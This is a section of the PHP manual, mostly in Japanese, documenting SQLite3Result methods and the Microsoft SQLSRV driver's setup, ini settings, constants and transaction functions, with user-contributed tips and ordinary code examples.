SQLite3Result::fetchArray — 結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得する

説明

public SQLite3Result::fetchArray ( int $mode = SQLITE3_BOTH ) : array|false

結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得します。 デフォルトでは両方で取得します。

パラメータ

mode

次の行をどのように返すかを制御します。値は SQLITE3_ASSOC か SQLITE3_NUM、SQLITE3_BOTH のいずれかでなければなりません。

  • SQLITE3_ASSOC: 返された結果セットのカラム名をインデックスとする配列を返します。

  • SQLITE3_NUM: 返された結果セットのカラム番号をインデックスとする配列を返します。 カラム番号は 0 から始まります。

  • SQLITE3_BOTH: 返された結果セットのカラム名とカラム番号の両方をインデックスとする配列を返します。 カラム番号は 0 から始まります。

返り値

結果の行を、連想配列あるいは数値添字配列あるいはその両方で取得します。 行がない場合は false を返します。

返される配列の値の型は、SQLite3 のデータ型と以下のようにマッピングされます: 数値型の場合、PHP_INT_MIN..PHP_INT_MAX の範囲に入れば、int にマッピングされます。そうでなければ、 string になります。Float 型は float に、 NULL 値は null に、 そして文字列型や Blob 型は string にマップされます。

User Contributed Notes

paule-panke at example dot com 12-Feb-2017 02:22
Check with SQLite3Result::numColumns() for an empty result before calling SQLite3Result::fetchArray().

In contrast to the documentation SQLite3::query() always returns a SQLite3Result instance, not only for queries returning rows (SELECT, EXPLAIN). Each time SQLite3Result::fetchArray() is called on a result from a result-less query internally the query is executed again, which will most probably break your application.
For a framwork or API it's not possible to know in before whether or not a query will return rows (SQLite3 supports multi-statement queries). Therefore the argument "Don't execute query('CREATE ...')" is not valid.
ghaith at cubicf dot net 03-Jan-2017 09:59
// Open a new sqlite3 DB

$db = new SQLite3('./DB_EHLH.db');

// select all information from table "algorithm"

$results= $db->query("select * from algorithm");

//Create array to keep all results
$data= array();

// Fetch Associated Array (1 for SQLITE3_ASSOC)
while ($res= $results->fetchArray(1))
{
//insert row into array
array_push($data, $res);

}

//you can return a JSON array
echo json_encode($data);

//the output is a s follows
[
{"id":1,"algorithm":"GA"},
{"id":2,"algorithm":"PSO"},
{"id":3,"algorithm":"IWO"},
{"id":4,"algorithm":"OIWO"}
]
Jason 03-Oct-2014 10:21
Would just like to point out for clarification that each call to fetchArray() returns the next result from SQLite3Result in an array, until there are no more results, whereupon the next fetchArray() call will return false.

HOWEVER an additional call of fetchArray() at this point will reset back to the beginning of the result set and once again return the first result. This does not seem to explicitly documented, and caused me my own fair share of headaches for a while until I figured it out.

For example:

<?php
        $returned_set = $database->query("select query or whatever");

        //Lets say the query returned 3 results
        //Normally the following while loop would run 3 times then, as $result wouldn't be false until the fourth call to fetchArray()
        while($result = $returned_set->fetchArray()) {
                //HOWEVER HAVING AN ADDITIONAL CALL IN THE LOOP WILL CAUSE THE LOOP TO RUN AGAIN
                $returned_set->fetchArray();
        }
?>

Basically, in the above code fetchArray will return:
1st call | 1st result from $returned_set (fetchArray() call from while condition)
2nd call | 2nd result  (fetchArray() call from while block)
3rd call | 3rd result  (fetchArray() call from while condition)
4th call |FALSE  (fetchArray() call from while block)
5th call | 1st result  (fetchArray() call from while condition)
....

This will cause (at least in this case) the while loop to run infinitely.
alan at synergymx dot com 14-Sep-2010 04:56
To loop through a record set:

<?php
        $db = new SQLite3('auth.sqlite');

        $sql = "SELECT user_id, username, opt_status FROM tbl_user";

        $result = $db->query($sql);//->fetchArray(SQLITE3_ASSOC);

        $row = array();

        $i = 0;

         while($res = $result->fetchArray(SQLITE3_ASSOC)){

             if(!isset($res['user_id'])) continue;

              $row[$i]['user_id'] = $res['user_id'];
              $row[$i]['username'] = $res['username'];
              $row[$i]['opt_status'] = $res['opt_status'];

              $i++;

          }

          print_r($row);
?>


結果セットを閉じる

  • ≪ SQLite3Result::fetchArray
  • SQLite3Result::numColumns ≫
  • PHP Manual
  • SQLite3Result
  • 結果セットを閉じる

SQLite3Result::finalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::finalize — 結果セットを閉じる

説明

public SQLite3Result::finalize ( ) : bool

結果セットを閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

true を返します。

User Contributed Notes

There are no user contributed notes for this page.


結果セットのカラム数を返す

  • ≪ SQLite3Result::finalize
  • SQLite3Result::reset ≫
  • PHP Manual
  • SQLite3Result
  • 結果セットのカラム数を返す

SQLite3Result::numColumns

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::numColumns — 結果セットのカラム数を返す

説明

public SQLite3Result::numColumns ( ) : int

結果セットのカラム数を返します。

パラメータ

この関数にはパラメータはありません。

返り値

結果セットのカラム数を返します。

User Contributed Notes

There are no user contributed notes for this page.


結果セットを最初の行に戻す

  • ≪ SQLite3Result::numColumns
  • SQLSRV ≫
  • PHP Manual
  • SQLite3Result
  • 結果セットを最初の行に戻す

SQLite3Result::reset

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

SQLite3Result::reset — 結果セットを最初の行に戻す

説明

public SQLite3Result::reset ( ) : bool

結果セットを最初の行に戻します。

パラメータ

この関数にはパラメータはありません。

返り値

結果セットを最初の行に戻すことに成功した場合に true、 失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


PHP 用 Microsoft SQL Server ドライバ

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • SQLSRV 関数
    • sqlsrv_begin_transaction — Begins a database transaction
    • sqlsrv_cancel — Cancels a statement
    • sqlsrv_client_info — Returns information about the client and specified connection
    • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
    • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_configure — Changes the driver error handling and logging configurations
    • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
    • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
    • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
    • sqlsrv_fetch_array — 行を配列として返す
    • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
    • sqlsrv_fetch — Makes the next row in a result set available for reading
    • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
    • sqlsrv_free_stmt — Frees all resources for the specified statement
    • sqlsrv_get_config — Returns the value of the specified configuration setting
    • sqlsrv_get_field — Gets field data from the currently selected row
    • sqlsrv_has_rows — Indicates whether the specified statement has rows
    • sqlsrv_next_result — Makes the next result of the specified statement active
    • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
    • sqlsrv_num_rows — Retrieves the number of rows in a result set
    • sqlsrv_prepare — Prepares a query for execution
    • sqlsrv_query — Prepares and executes a query
    • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
    • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
    • sqlsrv_send_stream_data — Sends data from parameter streams to the server
    • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


はじめに

SQLSRV エクステンションを使えば、PHP を実行する際に Microsoft SQL Server や SQL Azure データベースにアクセスできるようになります。 リリース 3.0 のドライバがサポートするのは SQL Server 2005 以降のバージョンで、SQL Server 2012 や SQL Server 2012 LocalDB にも対応します (LocalDB についての詳細な情報は » PHP Driver for SQL Server Support for LocalDB や » SQL Server 2012 Express LocalDB を参照ください)。

SQLSRV エクステンションは Microsoft がサポートしており、 » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx からダウンロードできます。 SQL Server 2012 LocalDB は » http://go.microsoft.com/fwlink/?LinkID=237665 からダウンロードできます。

User Contributed Notes

wr 28-Sep-2017 04:33
According to Microsoft, this extension works on Linux:
https://github.com/Microsoft/msphpsql
(the introduction above does not mention this, rather it says "when running PHP on Windows")
kylewiering at yahoo dot com 01-Feb-2016 02:20
Microsoft has now committed a PHP 7 pre-release beta of the SQLSRV driver on github:
https://github.com/Azure/msphpsql/tree/PHP-7.0

It looks like the PDO driver is their next target. Anyone interested in using mssql and php7 might want to follow/star that repository.
mike at eastghost dot com 31-Jan-2016 06:33
As of Aug 2015, see:

http://www.synet.sk/php/en/230-php-drivers-for-microsoft-sql-server-mssql-sqlsrv-utf8


要件

The SQLSRV extension can be used on the following operating systems:

  • Windows Vista Service Pack 2 or later
  • Windows Server 2008 Service Pack 2 or later
  • Windows Server 2008 R2
  • Windows 7

The SQLSRV extension requires that the Microsoft SQL Server 2012 Native Client be installed on the same computer that is running PHP. If the Microsoft SQL Server 2012 Native Client is not already installed, click the appropriate link below to download it:

  • » Download the x86 package
  • » Download the x64 package

The SQLSRV download comes 8 driver files, four of which are for PDO support. If you are running non-thread-safe PHP (PHP 5.3), use the php_sqlsrv_53_nts.dll file. (You should use a non-thread-safe version if you are using IIS as your web server). If you are running thread-safe PHP, use the php_sqlsrv_53_ts.dll file. Similarly for PHP 5.4, use the php_sqlsrv_54_nts.dll or php_sqlsrv_54_ts.dll depending on whether your PHP installation is non-thread-safe or thread-safe.

The most recent version of the driver is available for download here: » SQLSRV 4.0 download. If you need support for PHP 5.2 and/or PHP compiled with VC6, use the 2.0 release of the driver: » SQLSRV 2.0 download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

User Contributed Notes

Fluxy__ 15-Jun-2015 09:19
If you get the error "sqlstate [imssp]: this extension requires the microsoft odbc driver 11"

Msodbcsql.msi should be installed, otherwise it does not.

Take the x64 version and x86 architectures 64 for 32 architectures.

https://msdn.microsoft.com/en-us/library/jj730315%28v=sql.110%29.aspx


インストール手順

The SQLSRV extension is enabled by adding appropriate DLL file to your PHP extension directory and the corresponding entry to the php.ini file. The SQLSRV download comes 8 driver files, four of which are for PDO support. If you are running non-thread-safe PHP (PHP 5.3), use the php_sqlsrv_53_nts.dll file. (You should use a non-thread-safe version if you are using IIS as your web server). If you are running thread-safe PHP, use the php_sqlsrv_53_ts.dll file. Similarly for PHP 5.4, use the php_sqlsrv_54_nts.dll or php_sqlsrv_54_ts.dll depending on whether your PHP installation is non-thread-safe or thread-safe.

The most recent version of the driver is available for download here: » SQLSRV 4.0 download. If you need support for PHP 5.2 and/or PHP compiled with VC6, use the 2.0 release of the driver: » SQLSRV 2.0 download.

For more information about SQLSRV requirements, see » SQLSRV System Requirements.

The SQLSRV extension is only compatible with PHP 5 running on Windows. Since version 4.0 the SQLSRV extension is compatilbe only with PHP 7.0 running on Linux or Windows.

User Contributed Notes

grant at seljax dot com 24-May-2018 09:47
Running PHP 7.2 on IIS 10, I had to use the IIS Web Platform Components wizard to install the Microsoft PHP drivers version 5.2 x64 to get this command to work.  Manually installing 4.0 drivers did not work.
denny 11-Jan-2017 06:57
PECL packages for Linux SQLSRV and PDO_SQLSRV drivers (4.0.7) are available now.
https://github.com/Microsoft/msphpsql/releases
simon 20-Feb-2014 03:48
SQLSRV doesn't use mssql_connect - it is it's own extension, therefore to connect you'd use sqlsrv_connect:

http://www.php.net/manual/en/function.sqlsrv-connect.php


実行時設定

php.ini の設定により動作が変化します。

下表では、SQLSRV エクステンションで使用可能な構成オプションを一覧表示します。 これらのオプションについて詳しくは、 » Handling SQLSRV Warnings and Errors をご覧下さい。

SQLSRV 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
sqlsrv.WarningsReturnAsErrors | 1 (true) | PHP_INI_ALL | SQLSRV 1.0 以降で使用可能
sqlsrv.LogSubsystems | 0 | PHP_INI_ALL | SQLSRV 1.0 以降で使用可能
sqlsrv.LogSeverity | 1 | PHP_INI_ALL | SQLSRV 1.0 以降で使用可能

User Contributed Notes

baklanoid at gmail dot com 01-Sep-2020 05:49
Hey-ho wayfarer! Here is some assembly i did, you may find it useful in your php.ini file :)

[sqlsrv]
; By default, the SQLSRV driver treats warnings as errors;
; a call to a sqlsrv function that generates
; an error or a warning returns false.
sqlsrv.WarningsReturnAsErrors = 1

; By default, errors and warnings that are generated by
; the Microsoft Drivers for PHP for SQL Server are not logged
; LogSubsystems can be one of the following values:
; -1 - Turns on logging of all subsystems.
;  0 - Turns logging off (This is the default).
;  1 - Turns on logging of initialization activity.
;  2 - Turns on logging of connection activity.
;  4 - Turns on logging of statement activity.
;  8 - Turns on logging of error functions activity (such as handle_error and handle_warning).
; These values may be combined with logical OR,
; for example, 6 - connection + statement
sqlsrv.LogSubsystems = -1

; LogSeverity can be one of the following values
; (LOGGING ACTIVITY USING THE PDO_SQLSRV DRIVER):
; -1 - Specifies that errors, warnings, and notices are logged.
;  0 - Logging is disabled (This is the default).
;  1 - Specifies that errors are logged.
;  2 - Specifies that warnings are logged.
;  4 - Specifies that notices are logged.
; Logging information is added to the error_log (php_errors.log) file.
; These values may be combined with logical OR,
; for example, 3 - errors + warnings
sqlsrv.LogSeverity = 1
robert dot urbanski2 at gmail dot com 02-Nov-2016 12:43
Do not omitt these parameters

client_buffer_max_kb_size = '50240'
sqlsrv.ClientBufferMaxKBSize = 50240


リソース型

Connection resource

A connection resource returned by sqlsrv_connect().

Statement resource

A statement resource returned by sqlsrv_query() or by sqlsrv_prepare().

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SQLSRV_FETCH_ASSOC (int)
Forces sqlsrv_fetch_array() to return an associative array when passed as a parameter.
SQLSRV_FETCH_NUMERIC (int)
Forces sqlsrv_fetch_array() to return an array with numeric when passed as a parameter.
SQLSRV_FETCH_BOTH (int)
Forces sqlsrv_fetch_array() to return an array with both associative and numeric keys when passed as a parameter (the default behavior).
SQLSRV_ERR_ALL (int)
Forces sqlsrv_errors() to return both errors and warings when passed as a parameter (the default behavior).
SQLSRV_ERR_ERRORS (int)
Forces sqlsrv_errors() to return errors only (no warnings) when passed as a parameter.
SQLSRV_ERR_WARNINGS (int)
Forces sqlsrv_errors() to return warnings only (no errors) when passed as a parameter.
SQLSRV_LOG_SYSTEM_ALL (int)
Turns on logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_CONN (int)
Turns on logging of connection activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_INIT (int)
Turns on logging of initialization activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_OFF (int)
Turns off logging of all subsystems when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_STMT (int)
Turns on logging of statement activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SYSTEM_UTIL (int)
Turns on logging of error function activity when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ALL (int)
Specifies that errors, warnings, and notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_ERROR (int)
Specifies that errors will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_NOTICE (int)
Specifies that notices will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_LOG_SEVERITY_WARNING (int)
Specifies that warnings will be logged when passed to sqlsrv_configure() as a parameter.
SQLSRV_NULLABLE_YES (int)
Indicates that a column is nullable.
SQLSRV_NULLABLE_NO (int)
Indicates that a column is not nullable.
SQLSRV_NULLABLE_UNKNOWN (int)
Indicates that it is not known if a column is nullable.
SQLSRV_PARAM_IN (int)
Indicates an input parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_INOUT (int)
Indicates a bidirectional parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PARAM_OUT (int)
Indicates an output parameter when passed to sqlsrv_query() or sqlsrv_prepare().
SQLSRV_PHPTYPE_INT (int)
Specifies an integer PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_DATETIME (int)
Specifies a datetime PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_FLOAT (int)
Specifies a float PHP data type. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STREAM (int)
Specifies a PHP stream. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_PHPTYPE_STRING (int)
Specifies a string PHP data type. This constant works like a function and accepts an encoding constant. See the SQLSRV_ENC_* constants. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_BINARY (int)
Specifies that data is returned as a raw byte stream from the server without performing encoding or translation. For usage information, see » How to: Specify PHP Types.
SQLSRV_ENC_CHAR (int)
Data is returned in 8-bit characters as specified in the code page of the Windows locale that is set on the system. Any multi-byte characters or characters that do not map into this code page are substituted with a single byte question mark (?) character. This is the default encoding. For usage information, see » How to: Specify PHP Types.
UTF-8 (int)
Specifies that data is returned with UTF-8 encoding. For usage information, see » How to: Specify PHP Types.
SQLSRV_SQLTYPE_BIGINT (int)
Describes the bigint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BINARY (int)
Describes the binary SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_BIT (int)
Describes the bit SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_CHAR (int)
Describes the char SQL Server data type. This constant works like a function and accepts a parameter indicating the number characters. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATE (int)
Describes the date SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME (int)
Describes the datetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIME2 (int)
Describes the datetime2 SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DATETIMEOFFSET (int)
Describes the datetimeoffset SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_DECIMAL (int)
Describes the decimal SQL Server data type. This constant works like a function and accepts two parameters indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_FLOAT (int)
Describes the float SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_IMAGE (int)
Describes the image SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_INT (int)
Describes the int SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_MONEY (int)
Describes the money SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NCHAR (int)
Describes the nchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NUMERIC (int)
Describes the numeric SQL Server data type. This constant works like a function and accepts two parameter indicating (in order) precision and scale. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR (int)
Describes the nvarchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NVARCHAR('max') (int)
Describes the nvarchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_NTEXT (int)
Describes the ntext SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_REAL (int)
Describes the real SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLDATETIME (int)
Describes the smalldatetime SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLINT (int)
Describes the smallint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_SMALLMONEY (int)
Describes the smallmoney SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TEXT (int)
Describes the text SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIME (int)
Describes the time SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TIMESTAMP (int)
Describes the timestamp SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_TINYINT (int)
Describes the tinyint SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UNIQUEIDENTIFIER (int)
Describes the uniqueidentifier SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_UDT (int)
Describes the UDT SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY (int)
Describes the varbinary SQL Server data type. This constant works like a function and accepts a single parameter indicating the byte count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARBINARY('max') (int)
Describes the varbinary(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR (int)
Describes the varchar SQL Server data type. This constant works like a function and accepts a single parameter indicating the character count. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_VARCHAR('max') (int)
Describes the varchar(MAX) SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_SQLTYPE_XML (int)
Describes the XML SQL Server data type. For usage information, see » How to: Specify SQL Types.
SQLSRV_TXN_READ_UNCOMMITTED (int)
Indicates a transaction isolation level of READ UNCOMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_READ_COMMITTED (int)
Indicates a transaction isolation level of READ COMMITTED. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_REPEATABLE_READ (int)
Indicates a transaction isolation level of REPEATABLE READ. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_SNAPSHOT (int)
Indicates a transaction isolation level of SNAPSHOT. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_TXN_READ_SERIALIZABLE (int)
Indicates a transaction isolation level of SERIALIZABLE. This value is used to set the TransactionIsolation level in the $connectionOptions array passed to sqlsrv_connect().
SQLSRV_CURSOR_FORWARD (int)
Indicates a forward-only cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_STATIC (int)
Indicates a static cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_DYNAMIC (int)
Indicates a dynamic cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_KEYSET (int)
Indicates a keyset cursor. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_CURSOR_BUFFERED (int)
Creates a client-side cursor query. Lets you access rows in any order. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_NEXT (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_PRIOR (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_FIRST (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_LAST (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_ABSOLUTE (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.
SQLSRV_SCROLL_RELATIVE (int)
Specifies which row to select in a result set. For usage information, see » Specifying a Cursor Type and Selecting Rows.

User Contributed Notes

There are no user contributed notes for this page.


SQLSRV 関数

目次

  • sqlsrv_begin_transaction — Begins a database transaction
  • sqlsrv_cancel — Cancels a statement
  • sqlsrv_client_info — Returns information about the client and specified connection
  • sqlsrv_close — Closes an open connection and releases resourses associated with the connection
  • sqlsrv_commit — Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_configure — Changes the driver error handling and logging configurations
  • sqlsrv_connect — Opens a connection to a Microsoft SQL Server database
  • sqlsrv_errors — Returns error and warning information about the last SQLSRV operation performed
  • sqlsrv_execute — Executes a statement prepared with sqlsrv_prepare
  • sqlsrv_fetch_array — 行を配列として返す
  • sqlsrv_fetch_object — Retrieves the next row of data in a result set as an object
  • sqlsrv_fetch — Makes the next row in a result set available for reading
  • sqlsrv_field_metadata — Retrieves metadata for the fields of a statement prepared by sqlsrv_prepare or sqlsrv_query
  • sqlsrv_free_stmt — Frees all resources for the specified statement
  • sqlsrv_get_config — Returns the value of the specified configuration setting
  • sqlsrv_get_field — Gets field data from the currently selected row
  • sqlsrv_has_rows — Indicates whether the specified statement has rows
  • sqlsrv_next_result — Makes the next result of the specified statement active
  • sqlsrv_num_fields — Retrieves the number of fields (columns) on a statement
  • sqlsrv_num_rows — Retrieves the number of rows in a result set
  • sqlsrv_prepare — Prepares a query for execution
  • sqlsrv_query — Prepares and executes a query
  • sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed
  • sqlsrv_send_stream_data — Sends data from parameter streams to the server
  • sqlsrv_server_info — Returns information about the server

User Contributed Notes

There are no user contributed notes for this page.


Begins a database transaction

  • ≪ SQLSRV 関数
  • sqlsrv_cancel ≫
  • PHP Manual
  • SQLSRV 関数
  • Begins a database transaction

sqlsrv_begin_transaction

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_begin_transaction — Begins a database transaction

説明

sqlsrv_begin_transaction ( resource $conn ) : bool

The transaction begun by sqlsrv_begin_transaction() includes all statements that were executed after the call to sqlsrv_begin_transaction() and before calls to sqlsrv_rollback() or sqlsrv_commit(). Explicit transactions should be started and committed or rolled back using these functions instead of executing SQL statements that begin and commit/roll back transactions. For more information, see » SQLSRV Transactions.

パラメータ

conn

The connection resource returned by a call to sqlsrv_connect().

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_begin_transaction() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
    die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
     die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
          VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
          SET Quantity = (Quantity - ?)
          WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
     sqlsrv_commit( $conn );
     echo "Transaction committed.<br />";
} else {
     sqlsrv_rollback( $conn );
     echo "Transaction rolled back.<br />";
}
?>

上の例の出力は、 たとえば以下のようになります。

参考

  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction
  • sqlsrv_rollback() - Rolls back a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Cancels a statement

  • ≪ sqlsrv_begin_transaction
  • sqlsrv_client_info ≫
  • PHP Manual
  • SQLSRV 関数
  • Cancels a statement

sqlsrv_cancel

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_cancel — Cancels a statement

説明

sqlsrv_cancel ( resource $stmt ) : bool

Cancels a statement. Any results associated with the statement that have not been consumed are deleted. After sqlsrv_cancel() has been called, the specified statement can be re-executed if it was created with sqlsrv_prepare(). Calling sqlsrv_cancel() is not necessary if all the results associated with the statement have been consumed.

パラメータ

stmt

The statement resource to be cancelled.

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 sqlsrv_cancel() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "SELECT Sales FROM Table_1";

$stmt = sqlsrv_prepare( $conn, $sql);

if( $stmt === false ) {
     die( print_r( sqlsrv_errors(), true));
}

if( sqlsrv_execute( $stmt ) === false) {
     die( print_r( sqlsrv_errors(), true));
}

$salesTotal = 0;
$count = 0;

while( ($row = sqlsrv_fetch_array( $stmt)) && $salesTotal <=100000)
{
     $qty = $row[0];
     $price = $row[1];
     $salesTotal += ( $price * $qty);
     $count++;
}

echo "$count sales accounted for the first $$salesTotal in revenue.<br />";

// Cancel the pending results. The statement can be reused.
sqlsrv_cancel( $stmt);
?>

注意

The main difference between sqlsrv_cancel() and sqlsrv_free_stmt() is that a statement resource cancelled with sqlsrv_cancel() can be re-executed if it was created with sqlsrv_prepare(). A statement resource cancelled with sqlsrv_free_statement() cannot be re-executed.

参考

  • sqlsrv_free_stmt() - Frees all resources for the specified statement
  • sqlsrv_prepare() - Prepares a query for execution

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the client and specified connection

  • ≪ sqlsrv_cancel
  • sqlsrv_close ≫
  • PHP Manual
  • SQLSRV 関数
  • Returns information about the client and specified connection

sqlsrv_client_info

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_client_info — Returns information about the client and specified connection

説明

sqlsrv_client_info ( resource $conn ) : array

Returns information about the client and specified connection

パラメータ

conn

The connection about which information is returned.

返り値

Returns an associative array with keys described in the table below. Returns false otherwise.

Array returned by sqlsrv_client_info
Key | Description
DriverDllName | SQLNCLI10.DLL
DriverODBCVer | ODBC version (xx.yy)
